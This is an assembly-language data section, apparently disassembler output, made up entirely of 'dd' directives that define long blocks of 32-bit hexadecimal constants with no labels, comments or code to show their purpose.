		dd 9C9D393Eh, 0BA46EC6Ch, 2CF7CA7Bh, 7FBF9CD2h,	0A7B3C66Fh
		dd 30BD5E1Eh, 0DC3F7A0Bh, 0CC1A35D4h, 65B6614Fh, 0BFFCCE24h
		dd 2BDE94A6h, 0AB37893Eh, 76720D12h, 0E5429A54h, 1919E59Bh
		dd 2C06221h, 0C65E8CFEh, 0D6454C7Dh, 3085F386h,	7175C77Dh
		dd 40F7648Dh, 307AF804h, 0CE29A885h, 70F4611Bh,	967CD2E1h
		dd 27B48A08h, 4C856592h, 0CDAF6216h, 1C5AD1EDh,	0EFD3E904h
		dd 9C0F8758h, 6EE0EDA3h, 859E41h, 0E0FDE5F3h, 6BEB0BC2h
		dd 0E8F41B4Ch, 0C7984926h, 0B7729EA8h, 44FE3186h, 51D15C1h
		dd 0B8DC5587h, 7CBEAE90h, 5D9D7CADh, 49719D5Bh,	0D5451B1Fh
		dd 0A60379AEh, 8D1EB886h, 4E0866E3h, 230774D3h,	0D692EBE8h
		dd 4927191Dh, 78E2CC4Bh, 57DD539Bh, 0D0DE8415h,	0DB876C3Eh
		dd 0C9BCD798h, 0B68DCFEDh, 15ACF2FBh, 0C12750ABh, 4D648C26h
		dd 0FA1E2C72h, 6CD71A1Eh, 0B9D60CB0h, 7285FFFAh, 0ABCDEC2Ah
		dd 0FBB541D4h, 5FCEC3C0h, 6A85F677h, 0B18157D9h, 0B4AA58EAh
		dd 0BA90CD3Bh, 35678835h, 1440BB2Eh, 5B54B71Ah,	0DCF6A864h
		dd 6724567h, 0EF6E33E9h, 87EFE768h, 0D2A9FFB6h,	4B31047Fh
		dd 0C5F7D346h, 9B13E1F4h, 0D19BF7D9h, 58F86219h, 62A63116h
		dd 0D9E9065Eh, 0F85E52F6h, 5D774BB4h, 0F5CF98EFh, 3D45FE20h
		dd 0D34282ECh, 55810ADh, 0EDE1EACBh, 0CB0420EFh, 3BCBD6AEh
		dd 2B433743h, 8F312057h, 0C307BCA7h, 0CA100213h, 6828127h
		dd 0E6A4F069h, 9672ECF5h, 0ABE66E19h, 0A74079Ch, 1EF62ABDh
		dd 33B5E5B6h, 4B043D7Fh, 871104F6h, 0D229DCF8h,	4F8C29EEh
		dd 0FE74A179h, 1D0AEA5h, 0C930FFAAh, 535196BCh,	0BA397CDCh
		dd 9F26B6B7h, 531C3CBh,	0F0BC52E3h, 944BE02Dh, 6556FF4Fh
		dd 94B11200h, 0CEE9027h, 5549559Bh, 2D8703F8h, 8F21E931h
		dd 0F8E4D13Eh, 8A2B018Bh, 37C6B5F8h, 0BBB95893h, 1D6A5B2Ch
		dd 0E17EFF15h, 35B01495h, 2F4C24C8h, 2B0E4498h,	318321EAh
		dd 66516CDCh, 0CF983699h, 0ECE72FCBh, 61748392h, 3D4D229Bh
		dd 8E9F6210h, 0FF9E7FC0h, 0D85B0508h, 0B50DA1FEh, 69B51BE3h
		dd 2A3DE207h, 78EE3FC7h, 878C72Eh, 0EB864343h, 0DBF00CB4h
		dd 18420F15h, 4A3A141Bh, 1517D3C6h, 7E2AB4F6h, 31EA9EBAh
		dd 84A1F062h, 246077A1h, 84ACF9BBh, 8ADE2F71h, 0C4FE50E3h
		dd 628AA462h, 4082931Dh, 0CD86C8A5h, 0E3F01BC4h, 4893A471h
		dd 67DD8012h, 69B237AFh, 0B1F08D72h, 0DA8FA16Fh, 49B83FC3h
		dd 91A5A98Fh, 3CF94C12h, 0B31D09A1h, 5B1F3744h,	0C64E2249h
		dd 21FA4625h, 0F60B4076h, 78DFC25Dh, 3DBCE3E8h,	16BB176Ch
		dd 87380208h, 2E56D94Bh, 7CECB2C4h, 0E397C50h, 6A3FA3F7h
		dd 0CFE848B7h, 0F906BE40h, 0F15FAC5Dh, 1A9FC1Ah, 3852966h
		dd 0C859C9DCh, 74CB9B03h, 5F4C43EBh, 53AE4875h,	0AFC2B23Eh
		dd 6C728A8Fh, 16DC506h,	7D72AC9Ah, 2CCBC579h, 8715431Dh
		dd 53D54C9Eh, 476AB80Ah, 0BD86D84h, 0A3CE83CCh,	3B7F1051h
		dd 64F3517Ch, 0BAEED5C9h, 9C010646h, 170DBBBEh,	4B1F4BF7h
		dd 0A94CE218h, 7082D1FCh, 8C3B5580h, 5E6F55AFh,	721FBC3Ch
		dd 882A7F3Fh, 1BAE5999h, 9E1EF544h, 61412AF0h, 7D8BAD44h
		dd 6BE61C2Bh, 8FC7F537h, 6519CD6Ah, 370CDA27h, 394BA4C2h
		dd 0A7996AABh, 48CBD0BBh, 0FE0A15h, 0C6F56430h,	4B42581Bh
		dd 0F3ED8979h, 2FD19C04h, 9163E756h, 8A6F8937h,	8FB399DBh
		dd 7B01B936h, 0B6FE7679h, 0CCB5BD5Ah, 876608EFh, 0E2ADAF83h
		dd 0D2CFC6F1h, 61AD52F8h, 9F08380Bh, 6558BC5Ah,	0D5CEC82h
		dd 39C56FF0h, 0EC94AC24h, 5A4219A8h, 1050B5DBh,	8FD41F1Fh
		dd 0A9E4AEF2h, 0E6E1FC19h, 68BF3567h, 9A654F5Bh, 361D5E7Fh
		dd 75016DB1h, 0E9447DCCh, 0FFA711BBh, 0F55AE1B0h, 6AB81EA6h
		dd 0E84369C8h, 8DE39D0Ah, 0D70C3C5Bh, 164068BAh, 4D328B25h
		dd 80A6A6B1h, 0EC12A83Ch, 669FAEC4h, 1E2275F2h,	287EB16Ch
		dd 0B83FF7F6h, 68191A7Eh, 7275712Dh, 4DB59D90h,	4C4930E1h
		dd 43DDDC8Dh, 9074D31Fh, 2A1EEF5Ah, 14DA5126h, 2CB2C8A8h
		dd 9200C020h, 96422685h, 6A97B777h, 9633ADB5h, 972CCD81h
		dd 3E6577A8h, 0D695A4FCh, 781084Bh, 0BFB78529h,	92066FABh
		dd 3862BC7h, 0CD6BBE0Ch, 130D4DDEh, 0CE76A9A2h,	0ED42AA52h
		dd 93CCCF3Fh, 841748ECh, 86B79B00h, 36707576h, 0A4DA8DBAh
		dd 0AE8C4251h, 0FB0B3307h, 0F6A0167Ch, 0A53AD64Bh, 20033BAh
		dd 885CA120h, 0EFF94A01h, 0A2A0CC0Eh, 988B315Ah, 0D6CBD4D0h
		dd 7AB3DAC3h, 37C76CCAh, 0DD408DE4h, 29A0EF0Ah,	0C4EFE47Dh
		dd 0EAC566DAh, 0C36AB16Ah, 9694EBFFh, 42A5D721h, 37ECA229h
		dd 0B5D1A408h, 0AA7D96EDh, 0ED034052h, 0C6AFC919h, 77A5EA61h
		dd 0DF1D92A9h, 0BDDF433Fh, 3B99A152h, 38B5A783h, 0BE12F214h
		dd 94D5EE7Fh, 0CD6023B6h, 0ACE42616h, 1FADB65Eh, 0FB5A5699h
		dd 0C3338572h, 0DF9EA416h, 0D95C081Dh, 29781D97h, 3180F353h
		dd 0A5422389h, 1E541534h, 15C4FBE1h, 90853035h,	8786D8C4h
		dd 27D8744Eh, 0AF0E146Ch, 9E2C21C6h, 8FE230B0h,	0E88A739Eh
		dd 365F2E10h, 3E8D3F1Eh, 1743B126h, 6608D513h, 1110F64Dh
		dd 94FFD220h, 75861D52h, 6DDB152Fh, 84707C47h, 0BD0FFEE8h
		dd 0FA540FE1h, 0E2ACC380h, 0C247712Bh, 3071F75h, 561C2D88h
		dd 8BE3BEBFh, 3DA0DF03h, 0E47B7D4Dh, 9A583F08h,	0D266BE82h
		dd 31904FE5h, 0E149B7BAh, 0D51B0F14h, 724F31A1h, 48F3C3C4h
		dd 4CA0C2B7h, 0B628F728h, 6D967B7Ch, 0DFA7C731h, 1D167590h
		dd 0C3F93739h, 0CBE96902h, 677ECC32h, 0C85B7D16h, 0A23639D5h
		dd 89FC9AA8h, 37E8FF20h, 0A45D0097h, 0ECDA5AEFh, 0E22266C3h
		dd 934CE17h, 145A2453h,	77A8ED09h, 3EF56F81h, 0E92224E4h
		dd 89414C58h, 263313F0h, 80A8FDB4h, 0C16261F4h,	0D9F38FA9h
		dd 57CA5ADCh, 9DFB47B2h, 0C0F0D075h, 0B041E551h, 73CC2DA8h
		dd 53C9F27Ah, 4FE96186h, 363FF8AFh, 0CD76B233h,	4E038B54h
		dd 0C179E461h, 9DCA5805h, 40B3AEC4h, 3E22CE09h,	0BDCE6D6Ah
		dd 52A870D2h, 69392872h, 2B362551h, 94037FB9h, 0FCD4492Ah
		dd 7F4A80A4h, 0EB681A58h, 7D9B668Dh, 8B6F1618h,	2BA5AA75h
		dd 0C7B11EC5h, 0DFA6AA7h, 95BEE402h, 178FC727h,	0A43AD238h
		dd 8375A163h, 0C13FD53Dh
		dd 9DD09E30h, 0E0712EC7h, 6D6568CFh, 0F96F9548h, 52D29BBCh
		dd 78BF4C2Dh, 56B69479h, 0E739E8FBh, 40F4005Fh,	8EC98330h
		dd 93F7E3A6h, 9E1963DAh, 42D2CE3Fh, 19C1A316h, 62AC246Dh
		dd 77F8B596h, 5597935Eh, 7939BCAAh, 6CDDC69Dh, 0A2AFA993h
		dd 6400F43Fh, 7041A38Ah, 0C8193661h, 0A764A43Bh, 7701E027h
		dd 29795F1Fh, 942DF0D1h, 0D3C594B8h, 0D4170F96h, 5CBFE872h
		dd 0AA6C0144h, 0F37A32FBh, 0D4FEFCA5h, 0CFDEAF90h, 0CEA22A82h
		dd 7724CA99h, 2AADD165h, 0EC71FC4Fh, 9D16367Ch,	7788F136h
		dd 3B73A568h, 0CCAED5EBh, 875BEDCEh, 34297902h,	7611F899h
		dd 51B25F0h, 14DE1FD0h,	482282Eh, 0A7F9C496h, 219F6704h
		dd 33B3B4B5h, 526D07E6h, 0C5F86BD1h, 0D1A1155Bh, 78CC5130h
		dd 449333BBh, 0C9CB2BB9h, 62B09F06h, 0B164B8F1h, 2DC09FB1h
		dd 81AD459Dh, 8441A90Fh, 0B0B0E5D2h, 4E8B853Eh,	4822746Dh
		dd 179A37D9h, 429B0D9Dh, 828FB17Ah, 1487ECBCh, 15458A4Ah
		dd 55492770h, 2A052B8Ch, 255411A2h, 265B7329h, 0AD6DCCE3h
		dd 0DDBF6EE0h, 3FE70C58h, 0C518E39Ah, 0C7B2ADC8h, 4A34DDD2h
		dd 64AE8513h, 30F9190Eh, 0C3C63F16h, 305D1D1h, 19AD84FFh
		dd 0AB410641h, 0C8C10496h, 3CA7FE4Ch, 4F2FD31Bh, 0C9CB928Dh
		dd 0FFCC1680h, 52B57247h, 749FFC27h, 9F599CD8h,	0DA9CF62h
		dd 658BBF9Bh, 0C5C37209h, 50031491h, 36E728E5h,	17F34BF8h
		dd 0A021ACB6h, 1FCC9DEBh, 0FEEF3C18h, 5D85802Ch, 49DE2FC7h
		dd 9CA0A472h, 81DB9DB8h, 3D1377B4h, 65864C27h, 0EA59C24h
		dd 491AF264h, 6A4BAFFEh, 5BBE8656h, 39FB9AABh, 14C3DDBFh
		dd 565EC4D9h, 0D5F021Bh, 4CCBB256h, 0C2775DB8h,	8FCC2EF9h
		dd 0D01656CAh, 75AEB96Ch, 22221E66h, 6B4F2390h,	142F5DC8h
		dd 43B16761h, 0E7EE1E0Eh, 8354A337h, 119CA61Fh,	3FAF6E1Dh
		dd 5F2972C0h, 15BDEEB0h, 58A18Ch, 2656E75Fh, 374C25DEh
		dd 0A1B24177h, 3A36EBE8h, 6DADF2AFh, 53AADFAAh,	18178794h
		dd 35D925F4h, 0E3149EB8h, 4CD78A5Ah, 16B9AEA1h,	4BA73F3h
		dd 4B3AC6F3h, 6CB08CA1h, 903418B3h, 3DF21CE5h, 393B84A7h
		dd 3F445B87h, 7E61C8B8h, 9F3EAEDFh, 0B4B1B36Bh,	5F7FD0C1h
		dd 0C4B80EE5h, 0F041B1C7h, 0EE1414E3h, 558F810Bh, 4F5051Ah
		dd 9D4AA1C0h, 656CBB25h, 0FD1A6572h, 0BE581597h, 0B0D7C098h
		dd 375016AEh, 0F4B5B3BFh, 92534D4Fh, 0F8A91C9Eh, 0F694872Ah
		dd 0EC62F39Dh, 0E411AB76h, 0D7F260FCh, 2F101B12h, 110106F3h
		dd 0B0855F92h, 472FD8B0h, 0AF0B9DABh, 0CB078958h, 0D9141588h
		dd 7919892Fh, 0BC271CC7h, 336ACE8Eh, 98C08CF7h,	0AFD17346h
		dd 7B60F0B5h, 0B24B28E4h, 74A42F72h, 4153DCFFh,	0CF588B9Ch
		dd 1A1F5FDFh, 52B2C3FCh, 0FFFD8F6Dh, 89972EA0h,	61C084F7h
		dd 0A2E09EFDh, 0F7236FC3h, 0A95F354Fh, 88C878E0h, 0A81C4A6Fh
		dd 14217670h, 43C27CD7h, 9F24D0D4h, 112EAFA4h, 33D2772Eh
		dd 3DC20A88h, 0F03EE035h, 8DC5A344h, 73DDF851h,	0A01AAE3h
		dd 0FF187EDh, 284B6BA4h, 9AEE415h, 81DC1947h, 1EE10E3h
		dd 9020A96Fh, 0FA2FE66Ch, 0F3EA8EDDh, 8DD35641h, 0CF6B61EFh
		dd 0B79654FCh, 0D2BE983h, 0CB7EB53Eh, 409C8A4Fh, 5FBC5954h
		dd 0FB69073Bh, 0C3BF4EBEh, 858BCD2Dh, 0E4FDCEACh, 48D80292h
		dd 58BBB279h, 738C8752h, 0C45CB963h, 2716EE4Fh,	0D7A985D0h
		dd 0B6A24A9Dh, 5E1D7904h, 0C7CAB6EEh, 686CDFFAh, 586F7558h
		dd 2FC4446h, 1ACC38CFh,	0B4811964h, 0FECC1B30h,	4BD01CBDh
		dd 0E6D035F7h, 3EBD59FEh, 46BF2F1Eh, 3D29C127h,	0D5696466h
		dd 0AC3CADFBh, 0C71378A4h, 0A7199E68h, 771B7979h, 1D788860h
		dd 7E2FD41Ch, 9E76E903h, 9F2F6A8Fh, 0A1A535F5h,	678C3A31h
		dd 3E6AEA30h, 48D6513Fh, 0C060F012h, 3C4C1188h,	64017F3Ch
		dd 5C6D196Dh, 7B06776Bh, 5EA6CE7h, 58CD0503h, 0E0268E59h
		dd 0E14E726Eh, 0EF25021h, 0F7B78122h, 2EBBC9FCh, 9A50B967h
		dd 9308CDC1h, 0D2744693h, 2F4661ADh, 9CA9CE25h,	0A9F666E1h
		dd 1C932652h, 491F823h,	0E66E7B31h, 8471E464h, 0F8E6416Dh
		dd 0CB678DDFh, 2038DA2Ch, 65FBE986h, 0B0A37193h, 0E3D9BB80h
		dd 1E07DDE3h, 0D8289972h, 3AD21ABAh, 0D03E1946h, 831F8F18h
		dd 7A3A0A05h, 9C757B40h, 884FBC60h, 0EA22F136h,	5CA5A375h
		dd 0F32A07Bh, 0CFA69104h, 23CE6393h, 36530181h,	3F4911B8h
		dd 0E1ED6D14h, 20EB8C8Bh, 0C3D3E1D4h, 47FF67A5h, 94191A6h
		dd 0C85642D4h, 5249ECE9h, 1C75375Dh, 3C9800D3h,	45A4AEDBh
		dd 276280EAh, 8244183h,	56FABCCAh, 498F9734h, 0FD701850h
		dd 0B3E004EFh, 24F688C9h, 47D73B9h, 4DD376C6h, 0EBAC3EEh
		dd 0B88A9435h, 5939DBFDh, 1C967F0Dh, 1AB15B26h,	5A8B31D3h
		dd 0D1E08F07h, 3A2991D2h, 0E008DC8Ah, 3B82C31Eh, 0B4579D3Bh
		dd 2C485E03h, 33756CD2h, 0CF0E6ADFh, 0A5EDDAAAh, 429F1D47h
		dd 58F061A8h, 0C696B4AFh, 80328F01h, 3628BED5h,	56C4BDD6h
		dd 0BE0434AFh, 0BC5E2883h, 0ACDC94EDh, 9E14AFE3h, 992BA2E8h
		dd 7A24ADA3h, 83B237F4h, 62EA4900h, 24A59979h, 2ADD3E37h
		dd 8628750Dh, 2BB84738h, 0BE984EEBh, 4A8E1839h,	9D49E578h
		dd 8D5530E0h, 4757BC8h,	9E2EEFB7h, 0ED32915Ah, 0F90D170h
		dd 2AC8FEF3h, 4F945484h, 341E278Ah, 0EF609E24h,	134F0D35h
		dd 0F3DE48ECh, 0B05C5969h, 0E1EF4CE6h, 61B76EF7h, 27F1FC63h
		dd 61790DAFh, 0C08E2B0h, 0BD945FE3h, 870F96DFh,	0B957098Dh
		dd 0DD3B9BEh, 4718C5F3h, 0C329BE5Bh, 0FAC19386h, 0FBB7592Ch
		dd 0F8B98095h, 0EF002DCEh, 5F6BD113h, 4037A0D6h, 0EE136631h
		dd 11F6046Dh, 0D836C674h, 6472D21Dh, 7F50574Eh,	73879F39h
		dd 0F31BAB27h, 486AA5FAh, 0E7A6E380h, 7AB48FF5h, 4BCEFE68h
		dd 0CD562228h, 0F5993135h, 0A0C432A0h, 0CCAF054Eh, 4E9A1257h
		dd 473004Ch, 7EA1BD19h,	4106782Ch, 56502A4Ah, 15F94660h
		dd 4E176CA2h, 8956BDB8h, 6D46708Eh, 77C6943h, 7029DA84h
		dd 5F3BBD17h, 0DF1CAB2Dh, 3314F181h, 45597F4Ch,	8DBCE636h
		dd 0C7AE4808h, 77329A85h, 32975D5Ah, 0CCBFB120h, 286D5942h
		dd 86B6F9CBh, 0D96E8F1Fh, 9CFEBE48h, 2A501DE8h,	0EC2C3934h
		dd 6AD14320h, 0A436E8F8h, 2B6C9F6Dh, 34778B19h,	0D1F86B2Bh
		dd 0B8A748D4h, 82BDC519h, 0E5D7CED7h, 2951F89Ch, 880B7DAEh
		dd 852D119Ah, 8140FA47h, 0F657C1C9h, 0D3E15B24h, 0F09EF4A4h
		dd 8B52F9F2h, 0B23B96EEh, 0CD6E6828h, 2F07AF10h, 4041F3E6h
		dd 0AA0C45ADh, 5F2A67B7h, 0C2E38699h, 4F0C8B7Ch, 3E12C506h
		dd 0A663610Fh, 1B34BDFDh, 832319BFh, 1667B80Bh,	0A9F12083h
		dd 4E59E98Dh, 6F335281h, 0E4EC42BFh, 0EDA17C72h, 7301079Fh
		dd 0B392CC0Fh, 0FD1F761Eh, 0E9D88398h, 31C925B3h, 0D277C28Ah
		dd 0E9143497h, 2CD85C21h, 0FD326587h, 51E1B07Eh, 4B3E6FDh
		dd 0F9C4E777h, 0BF836C42h, 537CB327h, 8E8E33F0h, 0B7180461h
		dd 80461A7Bh, 78B2584Dh, 98305D7Fh, 0F145132h, 0F828F8Eh
		dd 76A58531h, 196E3B99h, 8D113177h, 0E182FFC2h,	0DC26DFC7h
		dd 0E8D85219h, 5C557E0Eh, 390ED3B9h, 3482F6BDh,	0DE08986Dh
		dd 3D1CA1E2h, 0F55CEEE9h, 3124A8FCh, 5D4D2663h,	0D8C03F5Fh
		dd 0D78288C3h, 4D99D7D7h, 0CBEC20D6h, 875B5A33h, 25606E24h
		dd 73CBD5h, 19974903h, 0DA37024Dh, 99710436h, 2DD650FDh
		dd 6C5A68D1h, 9B699BFh
		dd 0F04326DFh, 9F31889Ch, 7301D69Ah, 0C3EEFA94h, 0BB46BA31h
		dd 161CE202h, 0C80ED4B4h, 0C03E89A9h, 5C6D1F0Eh, 78A69C8Fh
		dd 0C6E9067h, 5D77C607h, 0FC5DE096h, 9FD4DA18h,	0D79715D5h
		dd 0A82C05A7h, 75EAF865h, 75A0A9C9h, 0D39232FEh, 0D75B4C01h
		dd 0A13078D9h, 4061822h, 0F478751Eh, 35CFD39Ch,	534800D9h
		dd 0C119F555h, 0CFF306E4h, 484B9A0Ch, 13F2E01Fh, 17DEE01Fh
		dd 81A1927h, 0EDC8BEB8h, 141CE106h, 45C7AC88h, 2C28C286h
		dd 2933DDC9h, 4BF7E36Bh, 71CD1A66h, 24A9AB33h, 0DF5FB667h
		dd 0C002D2A8h, 6F8EF280h, 9AC416C3h, 0AD7D2EFCh, 276657E7h
		dd 0A5728C1Eh, 30E21EFh, 875AA9AFh, 0CB6667F3h,	2F60D33Ch
		dd 966EC677h, 0FD8647A5h, 71136975h, 494EE6Fh, 0AEE5D636h
		dd 9ED9C00h, 0D9B68C05h, 56863086h, 0D26BEC92h,	0F764BC59h
		dd 5A2969F2h, 0C6D51AB2h, 0DE99E2F0h, 7264DEC8h, 0C65A85AFh
		dd 0F4C96C33h, 5A5F3044h, 0E7FA1F5Bh, 403510B4h, 8CCF6C7Fh
		dd 62C2A87Ah, 0E50A6822h, 2D8B758Ch, 0D2D52EE2h, 7A761B9h
		dd 0D13BE0B3h, 1FF91865h, 80540567h, 7DA7E029h,	36CE45BFh
		dd 0DE82A7F7h, 0A548ED95h, 4947CAC3h, 0D06A2A44h, 16681A8Fh
		dd 0A5AC741Eh, 12955A35h, 0FAC4C20Ch, 0C6302810h, 0FE066D97h
		dd 0DCD2C624h, 0F688AC16h, 1244E5C7h, 0BC0CB4F3h, 86F5867Dh
		dd 7AC207E3h, 0A9059A1Fh, 6B662103h, 0E8738EF4h, 0BEF382AFh
		dd 0A987D974h, 18F12519h, 55BF53C6h, 8E97B563h,	18000E3Ch
		dd 4970456h, 53A97AD3h,	0B6887A7Ah, 33057D8Dh, 762A2F44h
		dd 0E9AA84DCh, 62B721D0h, 0E85110F1h, 38D94A79h, 2A4532Ch
		dd 0BB1EA144h, 0A848BBC2h, 2B860B6h, 4B5F29B1h,	70FDEAAh
		dd 0E719F82h, 0A755646Ah, 0A5182C50h, 0CF50B996h, 5D3516C0h
		dd 78168B1Bh, 0C8A0673Fh, 0CAA3E0A4h, 91D2502Ch, 8B76D854h
		dd 63FFB86Dh, 4C9D1961h, 795ED8D0h, 0A1BB4884h,	3BD74D6Bh
		dd 8EF1BBDAh, 8862AC85h, 1BBC2AA8h, 0B463266Bh,	0EADCCDF5h
		dd 2F52D4D6h, 0BCABB5Fh, 4D8016CDh, 0D55F89A2h,	7B15051Dh
		dd 9FD59BE7h, 458B4D39h, 586F760Bh, 0F8F974Ah, 9A518D2h
		dd 8BE74BEDh, 0F9F6BA0Bh, 3ECE1AB9h, 15DBDC72h,	8727E7D6h
		dd 99442F7Dh, 3170F1B7h, 5FB49A38h, 38176F4Fh, 25541EBFh
		dd 9F06603Eh, 0CC606943h, 0D5609EF0h, 0BFEA7F07h, 3CB4DBC0h
		dd 9035F814h, 23D1C5C2h, 5844344Ch, 0DE06A92Dh,	199B20B0h
		dd 0AD19CAAAh, 64BABE97h, 19A27D6h, 0ECFD442Eh,	3C9A03E7h
		dd 1C581C0h, 6D9ED6C5h,	7D228C8Fh, 9FFB6D12h, 3ECF611Fh
		dd 2502FC0Ah, 80F1D67Dh, 0A55BE8C4h, 65F9A858h,	0BC2DD877h
		dd 9F1D539Ah, 53DC7212h, 0BD8E9DEEh, 730A38A7h,	89F75F9Ah
		dd 45FF19A3h, 0F22BB10Bh, 0FB796F88h, 34C396BCh, 7D021BBAh
		dd 3FD11F45h, 3C06B828h, 0D8BE9AFCh, 0DA23584h,	15B9031Ah
		dd 0B2FBF68Dh, 0A0370102h, 40C9E5E9h, 0C8D92F3h, 63BA4E77h
		dd 0FE43A0B3h, 7D6711A3h, 4EAE4602h, 605F612Dh,	0B73EDD3Dh
		dd 0F421F08h, 9E1D42D7h, 633853F0h, 7D1E23F5h, 7705E147h
		dd 6918C5AEh, 7D2E93E2h, 1C09BBBh, 643C765h, 8236200Fh
		dd 0E39BFABBh, 0FD4F4925h, 527AFC93h, 43A46417h, 2CE277A7h
		dd 1728578h, 5F0BA70Eh,	0FB596B64h, 5305DE9Ch, 2B6F23F3h
		dd 4327E405h, 0FBC96245h, 6634CC53h, 81A696AAh,	0FA3D3h
		dd 0A33DA531h, 0B20D5E62h, 0EA88ABA1h, 0F787EEC2h, 71B1C862h
		dd 39CDFF1Fh, 0C7D8097Eh, 2097F4B1h, 0F19DF99Dh, 39582EA8h
		dd 91E82D03h, 0DF7A5ABDh, 34B90CB1h, 7508DC1Eh,	0C4D1B42Ah
		dd 0DBA681CEh, 0E37283Dh, 417AF23Ah, 7C62D5FCh,	0E06A3DBBh
		dd 0E359DEAEh, 0A8336D8Fh, 21A95EE3h, 0C71827C7h, 0AEB9093Ch
		dd 4B7C1419h, 85965CD9h, 37A12FB1h, 50CA9CA6h, 0DE357C76h
		dd 5A89265h, 0CD3BB41Dh, 68E76C8Dh, 81A5CBFCh, 39D84F54h
		dd 8BB8FDE1h, 5C0EC659h, 5EA32D80h, 0CF543CA2h,	0AF6FBA20h
		dd 0D5579995h, 1F89FFA9h, 50B446A7h, 73C45C73h,	1C2AEFFEh
		dd 0FF3CF684h, 5331B699h, 0B69AFD83h, 0D034DC48h, 0D33C789Dh
		dd 50C23308h, 0B03AD610h, 9E036D62h, 0C8847795h, 0A9385BD7h
		dd 5D4E3CB4h, 3642C1B8h, 0DEF74CB7h, 573B364Eh,	6B224554h
		dd 55B121Eh, 1B750F8Fh,	0DAA472AFh, 389F4CDDh, 7ECDE3B3h
		dd 5202D7A9h, 68392DB6h, 20929Ch, 96C33F22h, 0E064F3EBh
		dd 37025C7Bh, 0E98D5DC4h, 0B8A4547Eh, 8DFDE228h, 6929F784h
		dd 9069A372h, 0EDEB7359h, 4CE82AC3h, 9A3B0DADh,	8900EA2Ah
		dd 0DE421BEh, 2BD6D1AEh, 4C53F1D4h, 927929CBh, 0FA706FA6h
		dd 558D5214h, 22D6F582h, 172AE342h, 5711858Ah, 2B105617h
		dd 9CF224C0h, 46EF9712h, 3E4D1CA8h, 503DD7F5h, 864B518Bh
		dd 2B9006D6h, 0A01B075h, 28ADFFF3h, 9D9DCEE6h, 4930CD3Bh
		dd 927AA89h, 22726A31h,	1E25E911h, 89ABA88Bh, 0D3609EAEh
		dd 0E7573D69h, 0B88F501Dh, 0C0F40028h, 391C8ECCh, 279B9BBCh
		dd 37D6FD66h, 934B95A3h, 4B33720Eh, 0F7DE6354h,	0A3E26158h
		dd 0BA39477Eh, 3E1B647Eh, 3E2A5750h, 25D3AA5Ch,	0D10895C0h
		dd 4FF366B9h, 0C97C27B0h, 989F9E4h, 0F181F753h,	4C8C54BEh
		dd 3FFD133h, 425E4976h,	1DC84408h, 0CFA15BB2h, 0DCF64651h
		dd 22DD16DDh, 0D962B271h, 70622023h, 1B185863h,	0D076470Eh
		dd 0DECA3A86h, 530FF05h, 2F2CA3C6h, 4B8BA720h, 0B8694983h
		dd 5F4016DAh, 186FB94Ah, 0C2FB510Bh, 0DE0EF52Fh, 180EAFEBh
		dd 8DF33FF8h, 0C7F851C7h, 676EBE85h, 0DD2AB819h, 4400FD56h
		dd 0B6B573A1h, 3927827Eh, 249FF20Fh, 0BFB8114h,	275905B7h
		dd 2B7BCC0Eh, 0BF3728F8h, 6EBF7B0Ah, 879F1AEAh,	0CA400A98h
		dd 5A8D271Ch, 0E5CD2667h, 9FABE439h, 3321DCB0h,	0DB98658Bh
		dd 71B97D33h, 45939812h, 0DD06BC3Eh, 67126E46h,	16380BE4h
		dd 0BDD979C8h, 0AAF659A2h, 0DCBC6D98h, 0FF9F5EC4h, 40BF3893h
		dd 3E349BF0h, 88C8EC3Ah, 48902AFh, 8459A2C2h, 0B16EDD46h
		dd 40BCBC37h, 3DE24EB1h, 11A32E8Ch, 52FF9FA0h, 0E1A93F35h
		dd 14D094CFh, 5E61FDCh,	0F334AF03h, 0C287C27Fh,	0B7ABE90Bh
		dd 3F5C287Ah, 0D46F23E0h, 9DF109F1h, 1C96F2ACh,	8F86C127h
		dd 6C846C04h, 806BD56Fh, 0BE147944h, 576B4D64h,	4CBF65BCh
		dd 0A8D5697h, 66873239h, 0BD0237E0h, 0ADA11460h, 0ED34C55h
		dd 4DA50298h, 400031C8h, 2885183h, 0ABEAB9EEh, 0DAE94070h
		dd 0D43D3BABh, 0A47C4D4Fh, 836658F0h, 2D6F4FE1h, 0BF08BAD8h
		dd 0CB5A30D7h, 1A88DAF6h, 0C137F92Eh, 0B2DA3D2Bh, 0E32810C3h
		dd 0FB2BFEEAh, 74C88907h, 0D7D70898h, 98E5AA5Ch, 44074699h
		dd 0DF437B04h, 0EB959A58h, 6E180D98h, 0AE8BB404h, 52492DE9h
		dd 7B05DA2h, 4C0D3E92h,	0A9BED72Bh, 80242C02h, 4460E9F4h
		dd 9EA8C22Bh, 0A63DD61Ch, 8A3A5A71h, 3C53C987h,	0AEB08E6Ah
		dd 867AAADDh, 0ED8AEBE1h, 0AC860113h, 684BE288h, 300CC426h
		dd 0B4AA0F26h, 0FD2AA0BFh, 0A157137Eh, 0AF61A7CCh, 9972A77Dh
		dd 0A75712ADh, 78DA7716h, 3BDD2699h, 487FD8DFh,	96F96CDCh
		dd 55321FAFh, 57EB20C9h, 0B4957E2Bh, 596B8123h,	0F0DD8F81h
		dd 0C50EC892h, 0E7C62E0h, 0A3274C3h, 0C773DCA4h, 20D3300Fh
		dd 59C71066h, 6A16CFC7h, 407BF832h, 8D25DF95h, 44566FB6h
		dd 0D73E1C91h, 1B6503D6h, 7191EE4Ah, 42F39560h,	5434524Dh
		dd 95CF5A50h, 0F67DC163h
		dd 22F59751h, 3DA9BDFDh, 0DF42A37h, 1A3808C0h, 1ACF9F47h
		dd 0E75B2040h, 408F68F5h, 0B3AD43CBh, 0DD814C42h, 0B2A60AF0h
		dd 2B8D4748h, 2573595h,	72C17A06h, 51EC2282h, 0E3E8387h
		dd 9C48F5C9h, 7066F724h, 0E0450FE7h, 5B6EC7F0h,	84EE33Bh
		dd 15B7F0ECh, 40475213h, 55786DD5h, 9F6FF1ABh, 0A04A59A2h
		dd 16ADF10Fh, 24B9D592h, 363B9727h, 55C32150h, 0D2FD1822h
		dd 0FBF0B7Dh, 505A50F1h, 0BFF5BCADh, 15F0F8B9h,	60B52935h
		dd 4D027978h, 69EBEA4Fh, 0D60ACD4Eh, 0A2EFE0C2h, 3EE89382h
		dd 719693E2h, 5D80746Fh, 5C850700h, 0DD1E6AABh,	5D4171B4h
		dd 0EC2E6901h, 7E016C4Ah, 275CE153h, 240FF065h,	59ED64E0h
		dd 13619553h, 409C29B2h, 45C87A8Eh, 77F259F6h, 0DBDCA5F9h
		dd 0CE8BEB57h, 207F6446h, 0B3984C39h, 417D8C13h, 3D2486C7h
